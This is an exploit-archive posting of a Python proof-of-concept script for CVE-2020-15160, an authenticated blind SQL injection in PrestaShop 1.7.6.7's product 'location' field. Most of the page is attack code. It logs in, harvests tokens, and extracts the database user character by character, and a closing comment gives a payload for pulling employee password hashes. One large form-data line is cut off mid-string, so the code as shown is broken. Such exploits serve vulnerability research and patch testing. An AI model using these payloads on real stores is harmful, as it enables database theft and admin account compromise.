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PrestaShop 1.7.6.7 SQL Injection

PrestaShop 1.7.6.7 SQL Injection
Posted Apr 9, 2021
Authored by Vanshal Gaur

PrestaShop version 1.7.6.7 suffers from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2020-15160
MD5 | c954154779fef04ad61ce904511a42b9

PrestaShop 1.7.6.7 SQL Injection

Change Mirror Download
# Exploit Title: PrestaShop 1.7.6.7 - 'location' Blind Sql Injection 
# Date: 2021-04-08
# Exploit Author: Vanshal Gaur
# Vendor Homepage: https://www.prestashop.com/
# Version: 1.7.5.x < 1.7.6.8
# Tested on: Debian 10 (buster)
# CVE : CVE-2020-15160

#!/usr/bin/python3

'''

Setup Vulnerable Docker on "localhost:8080":

docker network create prestashop-net
docker run -ti --name mysql_z --network prestashop-net -e MYSQL_ROOT_PASSWORD=admin -p 3307:3306 -d mysql:5.7
docker run -ti --name prestashop_z --network prestashop-net -e DB_SERVER=mysql_z -p 8080:80 -d prestashop/prestashop:1.7.6.7
'''

import requests
import sys
from lxml import html
import re


if len(sys.argv) != 7:
print(
'''
Exploit By: Vanshal Gaur
Twitter Handle: @Vanshalg

Exploit: CVE-2020-15160 PrestaShop blind Sql Injection 1.7.5.0 < 1.7.6.8

Before Running the script make sure to login and change "Combinations" to "Simple product" of the product and give that productid.

Script will retrive the output of user() function, edit payload in script to retrive other data (Tested With Prestashop 1.7.6.7)

Usage: python3 {} email password localhost 8080 productid /adminpath

python3 exploit.py "test@gmail.com" "password" localhost 8080 11 /admin123
'''.format(sys.argv[0])
)
sys.exit(1)

print("Exploiting...(Be Patient)\n")
email = sys.argv[1]
password = sys.argv[2]
target_host = sys.argv[3]
target_port = sys.argv[4]
product_id = sys.argv[5]
admin_path = sys.argv[6]
target = "http://"+target_host+":"+target_port

# proxies = {"http": "http://127.0.0.1:8081", "https": "http://127.0.0.1:8081"}

s = requests.Session()

def login(s,target,password,email,admin_path):
url = target+admin_path+"/index.php"

data = {"ajax": "1", "token": '', "controller": "AdminLogin", "submitLogin": "1", "passwd": "TEMP", "email": "test@email.com"}
data["passwd"] = password
data["email"] = email
r = s.post(url, data=data)

login(s,target,password,email,admin_path)


token_ext = s.get(target+admin_path+"/")
token_junk = re.findall("sell/catalog/pro.*_token\=.*",token_ext.text)
token_spit = re.split("\"",token_junk[0])
token_2 = re.split("\?",token_spit[0])
token = token_2[1]


def productDetails_formtoken(s,target,product_id,admin_path):
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}

q = s.get(target+admin_path+"/index.php/sell/catalog/products/"+product_id+"?"+token,headers=headers)
tree = html.fromstring(q.text)
output = tree.xpath("//input[contains(@name,'form[_token]')]/@value")
form_token = ''.join(output)
return form_token

form_token = productDetails_formtoken(s,target,product_id,admin_path)


def productDetails_form_location(s,target,token,product_id,admin_path):
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}

q = s.get(target+admin_path+"/index.php/sell/catalog/products/"+product_id+"?"+token,headers=headers)
tree = html.fromstring(q.text)
output = tree.xpath("//input[contains(@name,'form[step3][location]')]/@value")
form_location = ''.join(output)

return form_location




def sqli(s,token,form_token,payload,target,product_id,admin_path):
for j in range(32, 126):

sql_payload = payload.replace("[CHAR]", str(j))

url = target+admin_path+"/index.php/sell/catalog/products/"+product_id+"?"+token
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Connection": "close"}
data = {"form[step1][name][1]": "Blind Sql Injection @Vanshalg", "form[step1][type_product]": "0", "form[step1][description_short][1]": "<p><span style=\"font-size:10pt;font-style:normal;\">Regular fit, round neckline, short sleeves. Made of extra long staple pima cotton. </span></p>\r\n<p></p>", "form[step1][description][1]": "<p><span style=\"font-size:10pt;font-style:normal;\"><span style=\"font-size:10pt;font-style:normal;\">Symbol of lightness and delicacy, the hummingbird evokes curiosity and joy.</span><span style=\"font-size:10pt;font-style:normal;\"> Studio Design' PolyFaune collection features classic products with colorful patterns, inspired by the traditional japanese origamis. To wear with a chino or jeans. The sublimation textile printing process provides an exceptional color rendering and a color, guaranteed overtime.</span></span></p>", "form[step1][features][0][feature]": "1", "form[step1][features][0][value]": "4", "form[step1][features][0][custom_value][1]": '', "form[step1][features][1][feature]": "2", "form[step1][features][1][value]": "8", "form[step1][features][1][custom_value][1]": '', "form[step1][id_manufacturer]": "1", "show_variations": "0", "form[step6][reference]": "demo_1", "form[step1][qty_0_shortcut]": "0", "form[step1][price_shortcut]": "23.900000", "form[step1][price_ttc_shortcut]": "23.9", "form[step2][id_tax_rules_group]": "1", "form[step1][id_category_default]": "4", "form[step1][categories][tree][]": "2", "form[step1][categories][tree][]": "3", "form[step1][categories][tree][]": "4", "ignore": "4", "form[step1][new_category][name]": '', "form[step1][new_category][id_parent]": "2", "form[step3][qty_0]": "0", "form[step3][minimal_quantity]": "1", "form[step3][location]": "TEST", "form[step3][low_stock_threshold]": '', "form[step3][virtual_product][is_virtual_file]": "0", "form[step3][virtual_product][name]": '', "form[step3][virtual_product][nb_downloadable]": '', "form[step3][virtual_product][expiration_date]": '', "form[step3][virtual_product][nb_days]": "0", "form[step3][pack_stock_type]": "3", "form[step3][attributes]": '', "product_combination_bulk[quantity]": '', "product_combination_bulk[cost_price]": '', "product_combination_bulk[impact_on_weight]": '', "product_combination_bulk[impact_on_price_te]": '', "product_combination_bulk[impact_on_price_ti]": '', "product_combination_bulk[date_availability]": '', "product_combination_bulk[reference]": '', "product_combination_bulk[minimal_quantity]": '', "product_combination_bulk[low_stock_threshold]": '', "product_combination_bulk[_token]": "0Dj8tJ3zd6YfSNgyxRFe6CfNbuMac6mn8rm_Gd52-to", "form[step3][out_of_stock]": "2", "form[step3][available_now][1]": '', "form[step3][available_later][1]": '', "form[step3][available_date]": '', "form[step4][width]": "0", "form[step4][height]": "0", "form[step4][depth]": "0", "form[step4][weight]": "0", "form[step4][additional_delivery_times]": "1", "form[step4][delivery_in_stock][1]": '', "form[step4][delivery_out_stock][1]": '', "form[step4][additional_shipping_cost]": "0.000000", "form[step2][price]": "23.900000", "form[step2][price_ttc]": "23.9", "form[step2][unit_price]": "0.000000", "form[step2][unity]": '', "form[step2][ecotax]": "0.000000", "form[step2][id_tax_rules_group]": "1", "form[step2][wholesale_price]": "0.000000", "form[step2][specific_price][sp_id_shop]": "1", "form[step2][specific_price][sp_id_currency]": '', "form[step2][specific_price][sp_id_country]": '', "form[step2][specific_price][sp_id_group]": '', "form[step2][specific_price][sp_id_product_attribute]": '', "form[step2][specific_price][sp_from]": '', "form[step2][specific_price][sp_to]": '', "form[step2][specific_price][sp_from_quantity]": "1", "form[step2][specific_price][leave_bprice]": "1", "form[step2][specific_price][sp_reduction]": "0.000000", "form[step2][specific_price][sp_reduction_type]": "amount", "form[step2][specific_price][sp_reduction_tax]": "1", "form[step2][specificPricePriority_0]": "id_shop", "form[step2][specificPricePriority_1]": "id_currency", "form[step2][specificPricePriority_2]": "id_country
data["form[_token]"] = form_token
data["form[step3][location]"] = sql_payload
data["form[id_product]"] = product_id
# print(sql_payload)
r = s.post(url, headers=headers, data=data)

if(productDetails_form_location(s,target,token,product_id,admin_path) == "1"):
return j
return None


for i in range(1,41):
payload = "0'|(ascii(substr(user(),%d,1)) regexp [CHAR])#" % i
extracted_char = chr(sqli(s,token,form_token,payload,target,product_id,admin_path))
sys.stdout.write(extracted_char)
sys.stdout.flush()
print("\n(+) done!")

#PAYLOAD TO EXTRACT PASSWORD:
# payload: 0'|ascii((substr((select passwd from ps_employee),1,1)) regexp [CHAR]#)

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